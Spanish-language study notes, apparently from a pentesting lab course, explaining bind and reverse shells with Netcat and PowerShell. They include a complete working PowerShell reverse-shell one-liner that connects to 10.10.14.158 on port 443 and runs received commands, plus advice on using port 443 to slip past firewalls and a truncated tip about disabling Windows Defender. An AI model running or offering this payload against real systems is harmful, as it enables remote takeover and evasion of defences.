BIND SHELL

Una bind shell es una shell de enlace en la que el sistema objetivo tiene un oyente iniciado y espera una conexión desde el sistema de ataque.

Práctica con GNU Netcat

Estableciendo una bind shell básica con Netcat

Para enlazar una shell Bash en la sesión TCP, se deben especificar el directorio, la shell, el listener, trabajar con pipelines y manejar la redirección de entrada y salida.


SHELL INVERSA

En una shell inversa, el atacante establece un servidor en espera de conexión y el sistema objetivo inicia la conexión.

Servidor - Atacante:

Usamos el puerto 443 porque es común y podría evadir un firewall a nivel de sistema operativo y de red. Sin embargo, un firewall con inspección profunda de paquetes (DPI) podría detectar y bloquear la shell.

Comando en el target (Windows)

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Si aparece el error "script contains malicious content", se debe desactivar Windows Defender: